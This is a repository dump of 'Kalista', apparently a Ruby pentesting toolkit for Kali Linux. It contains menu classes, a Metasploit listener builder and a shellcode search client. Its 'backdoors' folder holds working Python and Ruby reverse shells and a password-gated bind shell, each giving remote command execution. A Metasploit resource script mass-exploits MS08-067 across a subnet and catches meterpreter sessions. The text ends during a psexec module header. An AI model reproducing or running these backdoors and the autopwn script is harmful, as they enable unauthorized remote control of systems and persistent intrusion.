├── classes
├── temp
│ └── msfassist.rc
├── wifi.rb
├── mitm.rb
├── updater.rb
├── listener.rb
├── snmp.rb
└── recon.rb
├── README.md
├── Gemfile
├── extras
├── backdoors
│ ├── pi.py
│ ├── rubyrev.rb
│ └── bind.rb
├── msf
│ ├── resource
│ │ └── netapi.rc
│ ├── modules
│ │ └── psexec_keyhives.rb
│ ├── tools
│ │ └── mpx.rb
│ └── meterpreter
│ │ ├── swaparoo.rb
│ │ └── winrape.rb
└── fun
│ ├── shell-storm-api.rb
│ ├── sploit_suggester.rb
│ ├── xdb.rb
│ └── unix_enum.rb
├── kalista
├── core
├── core.rb
├── snmp_stalker.rb
└── support.rb
├── installer.rb
└── README.txt
/classes/temp/msfassist.rc:
--------------------------------------------------------------------------------
1 | db_connect -y /opt/metasploit/apps/pro/ui/config/database.yml
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Kalista
2 | =======
3 |
4 | A Kali Linux Tool to assist with security audits and pentesting. Lots of wrappers for commonly used tools to help extend their usefulness while making a lot of the experience easy on the user. Coming very soon...
5 |
--------------------------------------------------------------------------------
/Gemfile:
--------------------------------------------------------------------------------
1 | # This is our bundler Gemfile to help make installation of ruby gem dependencies easier
2 | source 'https://rubygems.org'
3 |
4 | # Everybody likes color, Colorize makes it easy :p
5 | gem 'colorize'
6 |
7 | # Ruby Readline support is needed for pseudo shell and ease of use for UI
8 | gem 'rb-readline'
9 |
10 | # We need SNMP Gem to leverage for its huge MiBs support
11 | gem 'snmp'
12 |
13 | # Text-Table makes some of the formatting of output easier
14 | gem 'text-table'
15 |
--------------------------------------------------------------------------------
/extras/backdoors/pi.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # A reverse shell in Python written by my friend Pi
3 | # Because i think its cool :p
4 |
5 | import os, socket, sys
6 |
7 | #Provide geenral usage statement fo rnewbies
8 | def usage():
9 | print '''
10 | +----------------------------+
11 | | scriptname.py IP PORT |
12 | |--------e-x-a-m-p-l-e-------|
13 | | script.py 192.168.1.2 9999 |
14 | +----------------------------+''',exit()
15 |
16 | #Put down an interupt catcher
17 | def signalHandler(signal, frame):
18 | print("[!] CTRL+C received [!] shutting down now...");
19 | sys.exit()
20 |
21 |
22 | if len(sys.argv) < 3:usage()
23 |
24 | #Establish our throw back using IP and PORT passed at run time
25 | s=socket.socket()
26 | s.connect((sys.argv[1],int(sys.argv[2])))
27 | #Print pretty banner upon connect in
28 |
29 | s.send('''
30 | __
31 | ___ ___ _ _ ___ | |
32 | ___| | | |_ ___ _| | |_ _ _ ___| |
33 | | _| | | | | _|___| . | | | | | | |__|
34 | |_| |___|___|_| |___|___|_____|_|_|__|
35 |
36 | A Python Reverse Shell By: Pi
37 |
38 |
39 | Type "exit" to exit the shell\n[r00t-d0wn]cmd>''')
40 |
41 | while 1:
42 | data = s.recv(512)
43 | if data.lower()=="q":
44 | s.close()
45 | break;
46 | else:
47 | if data.startswith('exit'):
48 | s.close()
49 | break;
50 | else:
51 | result=os.popen(data).read()
52 | if (data.lower() != "q"):
53 | s.send(str(result)+"[r00t-d0wn]cmd>")
54 | else:
55 | s.send(str(result))
56 | s.close()
57 | break;
58 | exit()
59 |
--------------------------------------------------------------------------------
/classes/wifi.rb:
--------------------------------------------------------------------------------
1 | # This is our WiFi Class
2 | # This should house anything related to WiFi Scanning & Hacking
3 | # If you add, just update the usage and w_shell function to make available
4 |
5 | class WiFiSploit
6 | def show_wifi_usage
7 | puts "List of available commands and general description".light_yellow + ": ".white
8 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow
9 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow
10 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow
11 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow
12 | print_line("")
13 | print_error("")
14 | print_error("WiFi Section is still in the works, sorry....")
15 | print_error("Chat/Contribute: hood3drob1n@gmail.com")
16 | print_error("")
17 | end
18 |
19 | def w_shell
20 | prompt = "(WiFi)> "
21 | while line = Readline.readline("#{prompt}", true)
22 | cmd = line.chomp
23 | case cmd
24 | when /^clear|^cls|^banner/i
25 | cls
26 | banner
27 | w_shell
28 | when /^help|^h$|^ls$/i
29 | show_wifi_usage
30 | w_shell
31 | when /^exit|^quit/i
32 | print_line("")
33 | print_error("OK, exiting Kalista....")
34 | print_line("")
35 | exit 69;
36 | when /^back|^main/i
37 | print_line("")
38 | print_error("OK, back to the Main Menu....")
39 | print_line("")
40 | $framework.core_shell
41 | else
42 | cls
43 | print_line("")
44 | print_error("Oops, Didn't quite understand that one")
45 | print_error("Please Choose a Valid Option From Menu Below Next Time.....")
46 | print_line("")
47 | show_wifi_usage
48 | w_shell
49 | end
50 | end
51 | end
52 | end
53 |
--------------------------------------------------------------------------------
/classes/mitm.rb:
--------------------------------------------------------------------------------
1 | # This is our Middler or Man In The Middle (MiTM) Class
2 | # This should house anything related to MiTM Type Attacks (LAN focus)
3 | # If you add, just update the usage and m_shell function to make available
4 |
5 | class TMiddler
6 | def show_mitm_usage
7 | puts "List of available commands and general description".light_yellow + ": ".white
8 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow
9 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow
10 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow
11 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow
12 | print_line("")
13 | print_error("")
14 | print_error("MiTM Section is still in the works, sorry....")
15 | print_error("Chat/Contribute: hood3drob1n@gmail.com")
16 | print_error("")
17 | end
18 |
19 | def m_shell
20 | prompt = "(MiTM)> "
21 | while line = Readline.readline("#{prompt}", true)
22 | cmd = line.chomp
23 | case cmd
24 | when /^clear|^cls|^banner/i
25 | cls
26 | banner
27 | m_shell
28 | when /^help|^h$|^ls$/i
29 | show_mitm_usage
30 | m_shell
31 | when /^exit|^quit/i
32 | print_line("")
33 | print_error("OK, exiting Kalista....")
34 | print_line("")
35 | exit 69;
36 | when /^back|^main/i
37 | print_line("")
38 | print_error("OK, back to the Main Menu....")
39 | print_line("")
40 | $framework.core_shell
41 | else
42 | cls
43 | print_line("")
44 | print_error("Oops, Didn't quite understand that one")
45 | print_error("Please Choose a Valid Option From Menu Below Next Time.....")
46 | print_line("")
47 | show_mitm_usage
48 | m_shell
49 | end
50 | end
51 | end
52 | end
53 |
--------------------------------------------------------------------------------
/classes/updater.rb:
--------------------------------------------------------------------------------
1 | # This is our Updater Class
2 | # This should house anything related to Updating the tool itself or anything used within it
3 | # If you add, just update the usage and u_shell function to make available
4 |
5 | class Updater
6 | def show_update_usage
7 | puts "List of available commands and general description".light_yellow + ": ".white
8 | puts "\tcls".light_yellow + " => ".white + "Clear Screen".light_yellow
9 | puts "\thelp ".light_yellow + " => ".white + "Display this Help Menu".light_yellow
10 | puts "\tback ".light_yellow + " => ".white + "Return to Main Menu".light_yellow
11 | puts "\texit ".light_yellow + " => ".white + "Exit Completely".light_yellow
12 | print_line("")
13 | puts "\tmsf ".light_yellow + " => ".white + "Update Metasploit Framework".light_yellow
14 | print_line("")
15 | end
16 |
17 | def u_shell
18 | prompt = "(Update)> "
19 | while line = Readline.readline("#{prompt}", true)
20 | cmd = line.chomp
21 | case cmd
22 | when /^clear|^cls|^banner/i
23 | cls
24 | banner
25 | u_shell
26 | when /^help|^h$|^ls$/i
27 | show_update_usage
28 | u_shell
29 | when /^exit|^quit/i
30 | print_line("")
31 | print_error("OK, exiting Kalista....")
32 | print_line("")
33 | exit 69;
34 | when /^back|^main/i
35 | print_line("")
36 | print_error("OK, back to the Main Menu....")
37 | print_line("")
38 | $framework.core_shell
39 | when /^msf|^metasploit/i
40 | msf_updater
41 | u_shell
42 | else
43 | cls
44 | print_line("")
45 | print_error("Oops, Didn't quite understand that one")
46 | print_error("Please Choose a Valid Option From Menu Below Next Time.....")
47 | print_line("")
48 | show_updates_usage
49 | u_shell
50 | end
51 | end
52 | end
53 |
54 | # Metasploit Framework Updater
55 | def msf_updater
56 | print_status("Launching Metasploit Updater, hang tight......")
57 | system("#{MSFPATH}/msfupdate 2> /dev/null")
58 | print_status("")
59 | print_status("OK, should be all set now!")
60 | print_status("")
61 | print_caution("Press ENTER to Continue......")
62 | fuqoff=gets
63 | end
64 | end
65 |
--------------------------------------------------------------------------------
/extras/msf/resource/netapi.rc:
--------------------------------------------------------------------------------
1 | # NetApi ms08_067 Quick & Dirty Network Attack
2 | #
3 |
4 | ############# EDIT THIS ###########
5 | targetz = '10.10.20.0-255' ##
6 | lhostz = '10.10.5.112' ##
7 | ###################################
8 |
9 | print_status("Running NetApi Network Autopwn....")
10 |
11 | #Create new workspace and destroy if it already exists
12 | pwn='netapi_pwn'
13 | workspace = framework.db.find_workspace(pwn)
14 | if workspace != nil
15 | workspace.destroy
16 | workspace = framework.db.add_workspace(pwn)
17 | print_status("Creating New Workspace: #{pwn}")
18 | else
19 | workspace = framework.db.add_workspace(pwn)
20 | end
21 | #jump into our new workspace
22 | run_single("workspace #{pwn}")
23 |
24 | #Setup Persistent Listener to Catch All the Shells we can throw at it
25 | print_status("Setting up Permanent Listener.....")
26 | print_status("Payload: windows/meterpreter/reverse_tcp")
27 | print_status("Listner Port: 6969")
28 |
29 | run_single("use exploit/multi/handler")
30 | run_single("setg payload windows/meterpreter/reverse_tcp")
31 | run_single("set LPORT 6969")
32 | run_single("setg LHOST #{lhostz}")
33 | run_single("set ExitOnSession false")
34 | run_single("exploit -j -z")
35 |
36 | #Scan with db_nmap to store results in MSF database
37 | print_status("Running NMAP Discovery Scan on #{targetz}.....")
38 | run_single("db_nmap -A -PN -p 445 --script=smb-check-vulns #{targetz}")
39 |
40 | #Search results and find potential targets to run netapi attack against
41 | print_status("Sorting NMAP results into potential targets list.....")
42 | targets=[]
43 | framework.db.services.each { |db_services| if (db_services.port == 445) and (db_services.name == "microsoft-ds") then framework.db.hosts.each { |ip| if ip.id == db_services.host.id then targets << ip['address'] end } end }
44 | print_status("Potential Targets: #{targets.size}")
45 |
46 | #Enumerate list of potentials and run exploit
47 | run_single("use exploit/windows/smb/ms08_067_netapi")
48 | run_single("set DisablePayloadHandler true")
49 | targets.each do |host|
50 | print_status("Running Exploit as Job Against: #{host}")
51 | run_single("set RHOST #{host}")
52 | run_single("exploit -j -z")
53 | end
54 |
55 |
--------------------------------------------------------------------------------
/extras/backdoors/rubyrev.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | # Ruby Reverse Shell
3 | # By: Hood3dRob1n
4 | #
5 | # ./rubyrev.rb IP PORT
6 | #
7 |
8 | require 'socket'
9 | require 'open3'
10 |
11 | #Add some color without colorize gem since we sticking to std libs :)
12 | RS="\033[0m" # reset
13 | HC="\033[1m" # hicolor
14 | FRED="\033[31m" # foreground red
15 | FGRN="\033[32m" # foreground green
16 | FWHT="\033[37m" # foreground white
17 |
18 | trap("SIGINT") {puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected closing Socket connection#{FWHT}.....#{RS}"; exit 666;}
19 |
20 | begin
21 | socket = TCPSocket.new "#{ARGV[0]}", "#{ARGV[1]}" #establish socket connection object using provided IP & PORT
22 | rescue
23 | #If we fail to connect, wait a few and try again or user cancles shit
24 | sleep 10
25 | retry
26 | end
27 |
28 | #Runs the commands you type and sends you back the stdout and stderr.
29 | #Shell Action...
30 | begin
31 | socket.puts "#{HC}#{FGRN}This Reverse connection brought to you by a little Ruby Magic#{FWHT} xD#{RS}\n\n"
32 | socket.puts "#{HC}#{FGRN}Server Info#{FWHT}:#{RS}"
33 | count=0
34 | #First we scrape some basic info....
35 | if RUBY_PLATFORM =~ /win32/
36 | while count.to_i < 3
37 | if count.to_i == 0
38 | command="whoami"
39 | socket.print "#{HC}#{FGRN}ID#{FWHT}: #{RS}"
40 | elsif count.to_i == 1
41 | command="chdir"
42 | socket.print "#{HC}#{FGRN}PWD#{FWHT}: #{RS}"
43 | elsif count.to_i == 2
44 | command="echo Winblows"
45 | socket.print "#{HC}#{FGRN}BUILD#{FWHT}: #{RS}\n"
46 | end
47 | count += 1
48 | #Use open3 to execute commands as we read and write through socket connection
49 | Open3.popen2e("#{command}") do | stdin, stdothers |
50 | IO.copy_stream(stdothers, socket)
51 | end
52 | end
53 | else
54 | while count.to_i < 3
55 | if count.to_i == 0
56 | command="id"
57 | socket.print "#{HC}#{FGRN}ID#{FWHT}: #{RS}"
58 | elsif count.to_i == 1
59 | command="pwd"
60 | socket.print "#{HC}#{FGRN}PWD#{FWHT}: #{RS}"
61 | elsif count.to_i == 2
62 | command="uname -a"
63 | socket.print "#{HC}#{FGRN}BUILD#{FWHT}: #{RS}\n"
64 | end
65 | count += 1
66 | #Use open3 to execute commands as we read and write through socket connection
67 | Open3.popen2e("#{command}") do | stdin, stdothers |
68 | IO.copy_stream(stdothers, socket)
69 | end
70 | end
71 | end
72 | #Then we drop to sudo shell :)
73 | @work=Dir.pwd #var for keeping a working path so 'cd' works (for the most part)
74 | while(true)
75 | socket.print "\n#{HC}#{FWHT}(#{FGRN}GreenShell#{FWHT})#{FGRN}>#{RS}"
76 | command = socket.gets.chomp
77 | if command.downcase == 'exit' or command.downcase == 'quit'
78 | socket.puts "\n#{HC}#{FGRN}got r00t#{FWHT}?#{RS}\n\n"
79 | break #Exit when asked nicely :p
80 | end
81 | if command.downcase =~ /cd (.+)/i #our mini block to handle change directory requests
82 | Dir.chdir("#{$1}") do |dir|
83 | @work = Dir.pwd
84 | end
85 | end
86 | #Use open3 to execute commands as we read and write through socket connection
87 | Open3.popen2e("cd #{@work} && #{command}") do | stdin, stdothers |
88 | IO.copy_stream(stdothers, socket)
89 | end
90 | end
91 | rescue
92 | #If we fail for some reason, try again
93 | retry
94 | end
95 | #EOF
96 |
--------------------------------------------------------------------------------
/classes/listener.rb:
--------------------------------------------------------------------------------
1 | # This is our Listener Class
2 | # I made it into a bit of a all in one wizard walk through setup
3 | # It's easy enough to navigate and doesnt take but a second to do
4 | # Re-write it if you don't like it :p
5 |
6 | class Listener
7 | # MSF Multi/Handler & Generic Ncat/NetCat Connection Setup
8 | def listener_builder
9 | print_status("")
10 | print_status("Welcome to the Listener & Exploit Multi Handler Assistant")
11 | print_status("")
12 | payload = payload_selector(1) # 1=Listerner Mode, 2-Exploit Mode, 3=Payload Builder #
13 | rcfile="#{$temp}msfassist.rc"
14 | f=File.open(rcfile, 'w')
15 | f.puts "db_connect #{MSFDBCREDS}"
16 | if payload =~ /bind/
17 | print_caution("Please provide IP for Bind Shell: ")
18 | zIP=gets.chomp
19 |
20 | print_caution("Please provide PORT for Bind Shell: ")
21 | zPORT=gets.chomp
22 | if not payload == 'generic/bind_shell'
23 | print_status("Launching MSF Exploit/Multi/Handler Connection for #{payload} Binded to #{zIP} on Port #{zPORT} in a new x-window.....")
24 | f.puts 'use exploit/multi/handler'
25 | f.puts "set PAYLOAD #{payload}"
26 | f.puts "set RHOST #{zIP}"
27 | f.puts 'set LHOST 0.0.0.0'
28 | f.puts "set LPORT #{zPORT}"
29 | f.puts 'set ExitOnSession false'
30 | if payload =~ /meterpeter/
31 | f.puts 'set AutoRunScript migrate -f'
32 | end
33 | f.puts 'exploit -j -z'
34 | f.close
35 | givemeshell="xterm -title 'MSF Multi-Handler' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\""
36 | else
37 | print_status("Generic Bind Shell Selected!")
38 | while(true)
39 | print_caution("Select how to connect: ")
40 | print_caution("1) Ncat")
41 | print_caution("2) NetCat")
42 | answer=gets.chomp
43 | if answer.to_i == 1
44 | givemeshell="xterm -title 'Ncat Connection' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'ncat -v #{zIP} #{zPORT}'\""
45 | print_status("Launching Ncat Connection to Binded Shell at #{zIP} on Port #{zPORT} in new x-window......")
46 | break
47 | elsif answer.to_i == 2
48 | givemeshell="xterm -title 'NetCat Connection' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nc -v #{zIP} #{zPORT}'\""
49 | print_status("Launching NetCat Connection to Binded Shell at #{zIP} on Port #{zPORT} in new x-window......")
50 | break
51 | else
52 | print_error("")
53 | print_error("Please Enter a Valid Option!")
54 | print_error("")
55 | end
56 | end
57 | end
58 | else #Its a reverse shell....
59 | print_caution("Please provide PORT to listen on: ")
60 | zPORT=gets.chomp
61 | if not payload == 'generic/reverse_shell'
62 | print_status("Launching MSF Exploit/Multi/Handler Listener for #{payload} on Port #{zPORT} in a new x-window.....")
63 | f.puts 'use exploit/multi/handler'
64 | f.puts "set PAYLOAD #{payload}"
65 | f.puts 'set LHOST 0.0.0.0'
66 | f.puts "set LPORT #{zPORT}"
67 | f.puts 'set ExitOnSession false'
68 | if payload =~ /meterpeter/
69 | f.puts 'set AutoRunScript migrate -f'
70 | end
71 | if payload =~ /vncinject/
72 | f.puts 'set DisableCourtesyShell true'
73 | end
74 | f.puts 'exploit -j -z'
75 | f.close
76 | givemeshell="xterm -title 'MSF Multi-Handler' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\""
77 | else
78 | print_status("Generic Reverse Shell Selected!")
79 | while(true)
80 | print_caution("Select how to catch: ")
81 | print_caution("1) Ncat")
82 | print_caution("2) NetCat")
83 | answer=gets.chomp
84 | if answer.to_i == 1
85 | givemeshell="xterm -title 'Ncat Listener' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'ncat -lv #{zPORT}'\""
86 | print_status("Launching Ncat Listener on Port #{zPORT} in new x-window......")
87 | break
88 | elsif answer.to_i == 2
89 | givemeshell="xterm -title 'NetCat Listener' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"bash -c 'nc -l -v -p #{zPORT}'\""
90 | print_status("Launching NetCat Listener on Port #{zPORT} in new x-window......")
91 | break
92 | else
93 | print_error("")
94 | print_error("Please Enter a Valid Option!")
95 | print_error("")
96 | end
97 | end
98 | end
99 | end
100 | #Spawn our listener in a separate terminal cause its nicer that way!!!!!
101 | fireNforget(givemeshell)
102 | print_line("")
103 | end
104 | end
105 |
--------------------------------------------------------------------------------
/extras/fun/shell-storm-api.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | #
3 | # Ruby Shell-Storm API
4 | # By: Hood3dRob1n
5 | #
6 | # Source: http://pastebin.com/wQRYCSxK
7 | #
8 | # Search and display all shellcodes in shell-storm database
9 | # I just wanted to make my own version in Ruby for fun :p
10 | # Many Thanks to Jonathan Salwan for his hard work and great site!
11 | #
12 | # Usage:
13 | # ./shell-storm-api.rb --search
14 | # ./shell-storm-api.rb --display
15 | #
16 | ###### STD GEMS ######
17 | require 'net/http' #
18 | require 'optparse' #
19 | #### NON-STD GEMS ####
20 | require 'rubygems' #
21 | require 'text-table' #
22 | ######################
23 | #
24 | #Add some color without extra gems
25 | RS="\033[0m" # reset
26 | HC="\033[1m" # hicolor
27 | FRED="\033[31m" # foreground red
28 | FGRN="\033[32m" # foreground green
29 | FWHT="\033[37m" # foreground white
30 | FCYN="\033[36m" # foreground cyan
31 | #
32 | # Catch System Interupts
33 | trap("SIGINT") { puts "#{HC}#{FRED}\n\nWARNING#{FWHT}!#{FRED} CTRL#{FWHT}+#{FRED}C Detected#{FWHT} => #{FRED}Closing Down#{FWHT}....#{RS}"; exit 666; }
34 | #
35 | # Clear Terminal
36 | def cls
37 | if RUBY_PLATFORM =~ /win32/
38 | system('cls')
39 | else
40 | system('clear')
41 | end
42 | end
43 | #
44 | # Simple Banner
45 | def banner
46 | puts
47 | puts "#{HC}#{FGRN}Shell-Storm Ruby API"
48 | puts "By#{FWHT}: Hood3dRob1n#{RS}"
49 | puts
50 | end
51 | #
52 | # Run Search & Display Results in Table
53 | # Search is run in against all lowercase on server side
54 | # Need to .downcase our search before sending or results fail!
55 | def scsearch(squery)
56 | http = Net::HTTP.new("shell-storm.org", 80)
57 | req = Net::HTTP::Get.new("/api/?s=#{squery.downcase}", {'User-Agent' => 'Shell-Storm Ruby API - Search'})
58 | res = http.request(req)
59 | case res
60 | when Net::HTTPSuccess then
61 | t=[ [ "Author", 'Platform', 'Description', 'ID' ] ]
62 | res.body.split("\n").each do |entry|
63 | show = entry.split("::::")
64 | t << [ "#{show[0]}", "#{show[1]}", "#{show[2]}", "#{show[3]}" ]
65 | end
66 | table = t.to_table(:first_row_is_head => true)
67 | puts "#{HC}#{FGRN}" + table.to_s + "#{RS}"
68 | else
69 | puts "#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}"
70 | puts res.value
71 | end
72 | end
73 | #
74 | # Display Shell Code by ID
75 | def scdisplay(id)
76 | http = Net::HTTP.new("shell-storm.org", 80)
77 | req = Net::HTTP::Get.new("/shellcode/files/shellcode-#{id}.php", {'User-Agent' => 'Shell-Storm Ruby API - Display'})
78 | res = http.request(req)
79 | case res
80 | when Net::HTTPSuccess then
81 | puts "#{HC}#{FGRN}[#{FWHT}*#{FGRN}] Displaying#{FWHT}: http://shell-storm.org/shellcode/files/shellcode-#{id}.php#{FCYN}"
82 | puts res.body.split("\n")[7..-13].join("\n").gsub('"', '"').gsub('>', '>').gsub('<', '<').gsub('&', '&')
83 | puts "#{RS}"
84 | else
85 | puts "#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}"
86 | puts res.value
87 | end
88 | end
89 | # Parse User Options & Arguments and Run Accordingly...
90 | options = {}
91 | optparse = OptionParser.new do |opts|
92 | opts.banner = "#{HC}#{FGRN}Usage#{FWHT}: #{$0} #{FGRN}[ #{FWHT}OPTIONS #{FGRN}] [ #{FWHT}ARGS #{FGRN}]"
93 | opts.separator ""
94 | opts.separator "EX#{FWHT}: #{$0} --search arm#{FGRN}"
95 | opts.separator "EX#{FWHT}: #{$0} --display 660#{FGRN}"
96 | opts.separator ""
97 | opts.separator "Options#{FWHT}: #{RS}"
98 | opts.on('-S', '--search TERM', "#{HC}#{FWHT}\n\tSearch Term to check against Shell-Storm#{RS}") do |squery|
99 | options[:method] = 1
100 | options[:search] = squery.chomp
101 | end
102 | opts.on('-D', '--display ID', "#{HC}#{FWHT}\n\tDisplay Shell Code for ID#{RS}") do |code_id|
103 | options[:method] = 2
104 | options[:display] = code_id
105 | end
106 | opts.on('-h', '--help', "#{HC}#{FWHT}\n\tHelp Menu#{RS}") do
107 | cls
108 | banner
109 | puts opts
110 | puts
111 | exit 69
112 | end
113 | end
114 | begin
115 | foo = ARGV[0] || ARGV[0] = "-h"
116 | optparse.parse!
117 | mandatory = [:method]
118 | missing = mandatory.select{ |param| options[param].nil? }
119 | if not missing.empty?
120 | puts "#{HC}#{FRED}Missing option(s)#{FWHT}: #{missing.join(', ')}#{RS}"
121 | puts optparse
122 | exit
123 | end
124 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument
125 | cls
126 | banner
127 | puts "#{HC}#{FRED}#{$!.to_s}#{RS}"
128 | puts optparse
129 | puts
130 | exit 666;
131 | end
132 | banner
133 | if options[:method].to_i == 1
134 | scsearch(options[:search])
135 | else
136 | scdisplay(options[:display])
137 | end
138 |
--------------------------------------------------------------------------------
/extras/backdoors/bind.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 | # Ruby Bind Shell
3 | # By: Hood3dRob1n
4 | #
5 | # ./bind.rb PORT (PASS)
6 | #
7 | require 'socket'
8 | require 'open3'
9 |
10 | #Add some color without colorize gem since we sticking to std libs :)
11 | RS="\033[0m" # reset
12 | HC="\033[1m" # hicolor
13 | FRED="\033[31m" # foreground red
14 | FGRN="\033[32m" # foreground green
15 | FWHT="\033[37m" # foreground white
16 |
17 | def cls #A quick method to clear the whole terminal
18 | if RUBY_PLATFORM =~ /win32/
19 | system('cls')
20 | else
21 | system('clear')
22 | end
23 | end
24 |
25 | def randz
26 | (0...1).map{ ('0'..'3').to_a[rand(4)] }.join
27 | end
28 |
29 | def help(message) #Exit strategy when shit goes sideways
30 | cls
31 | puts
32 | puts "#{message}" #print message passed when called
33 | #print example of usage sicne they obviously dont understand how this simple script works :p
34 | puts "#{HC}#{FGRN}EX#{FWHT}: #{$0} PORT #{FRED}(#{FWHT}PASS#{FRED})#{RS}"
35 | puts "#{HC}#{FGRN}\t=> #{FWHT}Default Pass is '#{FGRN}knock-knock#{FWHT}' if none is provided#{RS}"
36 | puts
37 | exit 666;
38 | end
39 |
40 | def bindshell
41 | #The number over loop is the port number the shell listens on.
42 | Socket.tcp_server_loop("#{PORT}") do |socket, client_addrinfo|
43 | command = socket.gets.chomp
44 | if command.downcase == "#{PASS}"
45 | socket.puts "\n#{HC}#{FGRN}You've Been Authenticated#{FWHT}!#{RS}\n"
46 | socket.puts "#{HC}#{FGRN}This Bind connection brought to you by a little Ruby Magic#{FWHT} xD#{RS}\n"
47 | socket.puts "#{HC}#{FGRN}Type #{FWHT}EXIT#{FGRN} or #{FWHT}QUIT#{FGRN} to temporarily leave shell & keep port open listening#{FWHT}...#{RS}"
48 | socket.puts "#{HC}#{FGRN}Type #{FWHT}KILLZ#{FGRN} or #{FWHT}CLOSE#{FGRN} to close port & shell for good#{FWHT}!\n#{RS}"
49 | socket.puts "#{HC}#{FGRN}Server Info#{FWHT}:#{RS}"
50 | begin
51 | count=0
52 | if RUBY_PLATFORM =~ /win32/ #First we scrape some basic info based on platform type....
53 | while count.to_i < 3
54 | if count.to_i == 0
55 | command="whoami"
56 | socket.print "#{HC}#{FGRN}ID#{FWHT}: #{RS}"
57 | elsif count.to_i == 1
58 | command="chdir"
59 | socket.print "#{HC}#{FGRN}PWD#{FWHT}: #{RS}"
60 | elsif count.to_i == 2
61 | command="echo Winblows"
62 | socket.print "#{HC}#{FGRN}BUILD#{FWHT}: #{RS}\n"
63 | end
64 | count += 1
65 | Open3.popen2e("#{command}") do | stdin, stdothers |
66 | IO.copy_stream(stdothers, socket)
67 | end
68 | end
69 | else
70 | while count.to_i < 3
71 | if count.to_i == 0
72 | command="id"
73 | socket.print "#{HC}#{FGRN}ID#{FWHT}: #{RS}"
74 | elsif count.to_i == 1
75 | command="pwd"
76 | socket.print "#{HC}#{FGRN}PWD#{FWHT}: #{RS}"
77 | elsif count.to_i == 2
78 | command="uname -a"
79 | socket.print "#{HC}#{FGRN}BUILD#{FWHT}: #{RS}\n"
80 | end
81 | count += 1
82 | Open3.popen2e("#{command}") do | stdin, stdothers |
83 | IO.copy_stream(stdothers, socket)
84 | end
85 | end
86 | end
87 | #Then we drop to sudo shell :)
88 | @work=Dir.pwd #var for keeping a working path so 'cd' works (for the most part)
89 | while(true)
90 | socket.print "\n#{HC}#{FWHT}(#{FGRN}GreenShell#{FWHT})#{FGRN}>#{RS}"
91 | command = socket.gets.chomp
92 | if command.downcase == 'exit' or command.downcase == 'quit'
93 | socket.puts "\n#{HC}#{FGRN}got r00t#{FWHT}?#{RS}\n\n"
94 | break #Exit when asked nicely :p
95 | end
96 | if command.downcase == 'killz' or command.downcase == 'close'
97 | socket.puts "\n#{HC}#{FGRN}got r00t#{FWHT}?#{RS}\n\n"
98 | exit #Exit when asked nicely :p
99 | end
100 | if command.downcase =~ /cd (.+)/i #our mini block to handle change directory requests
101 | Dir.chdir("#{$1}") do |dir|
102 | @work = Dir.pwd
103 | end
104 | end
105 | #Use open3 to execute commands as we read and write through socket connection
106 | Open3.popen2e("cd #{@work} && #{command}") do | stdin, stdothers |
107 | IO.copy_stream(stdothers, socket)
108 | end
109 | end
110 | rescue
111 | socket.write "#{HC}#{FRED}Command or file not found#{FWHT}!\n#{RS}"
112 | socket.write "#{HC}#{FRED}Type #{FWHT}EXIT#{FRED} or #{FWHT}QUIT#{FRED} to exit the shell#{FWHT}.\n#{RS}"
113 | socket.write "#{HC}#{FRED}Type #{FWHT}KILL#{FRED} or #{FWHT}CLOSE#{FRED} to kill the shell completely#{FWHT}.\n#{RS}"
114 | socket.write "\n\n"
115 | retry
116 | ensure
117 | @cleared=0
118 | socket.close
119 | end
120 | else
121 | num=randz
122 | socket.puts @greetz[num.to_i]
123 | end
124 | end
125 | end
126 |
127 | PORT = ARGV[0] || help("#{HC}#{FRED}Please re-run script with necessary options provided as argument(s)#{FWHT}!#{RS}") #confirm argument passed
128 | PASS = ARGV[1] || "knock-knock" ### THIS IS PASSWORD TO ENTER UPON CONNECTION, PASS as ARGUMENT AFTER PORT OR HARD-CODE IT HERE ###
129 | trap("SIGINT") {puts "\n\n#{HC}#{FRED}WARNING! CTRL+C Detected closing Socket Port#{FWHT}.....#{RS}"; exit 666;}
130 | @greetz=["#{HC}#{FGRN}Piss Off#{FWHT}!#{RS}", "#{HC}#{FGRN}Grumble, Grumble#{FWHT}......#{FGRN}?#{RS}", "#{HC}#{FGRN}Run along now, nothing to see here#{FWHT}.....#{RS}", "#{HC}#{FGRN}Who's There#{FWHT}?#{RS}"]
131 | bindshell
132 |
--------------------------------------------------------------------------------
/extras/msf/modules/psexec_keyhives.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This file is part of the Metasploit Framework and may be subject to
3 | # redistribution and commercial restrictions. Please see the Metasploit
4 | # web site for more information on licensing and terms of use.
5 | # http://metasploit.com/
6 | ##
7 |
8 | require 'msf/core'
9 |
10 | class Metasploit3 < Msf::Auxiliary
11 |
12 | # Exploit mixins should be called first
13 | include Msf::Exploit::Remote::DCERPC
14 | include Msf::Exploit::Remote::SMB
15 | include Msf::Exploit::Remote::SMB::Psexec
16 | include Msf::Exploit::Remote::SMB::Authenticated
